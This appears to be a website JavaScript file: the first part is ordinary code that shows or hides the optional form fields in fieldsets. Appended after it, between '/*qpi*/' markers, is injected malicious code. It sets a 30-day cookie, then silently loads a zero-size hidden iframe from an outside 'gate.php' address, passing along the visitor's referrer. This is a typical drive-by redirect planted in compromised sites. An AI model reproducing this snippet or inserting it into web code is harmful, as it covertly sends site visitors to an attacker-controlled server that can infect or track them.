function showReq(atag){
	form_fieldset = document.getElementsByTagName('fieldset');
	for(ff=0;ff<form_fieldset.length; ff++){
		hide=0;
		form_elements = form_fieldset[ff].getElementsByTagName('tr');
		for (fe=0;fe<form_elements.length;fe++){
			if(form_elements[fe].className != "required"){
				changeReq(atag,form_elements[fe]);
				hide++;
			}
		}
		if(form_elements.length == hide) changeReq(null,form_fieldset[ff]);
		
	}
}

function changeReq(html,element){
	if(element.className.indexOf("hidden") >= 0){
		newclass = element.className.replace("hidden","");
		element.className = newclass;
		if(html) html.innerHTML = "Only show required fields";
	}else {
		element.className += " hidden";
		if(html) html.innerHTML = "Show all fields (required and optional)";
	}
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://josefina.in/gate.php?f=847197&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
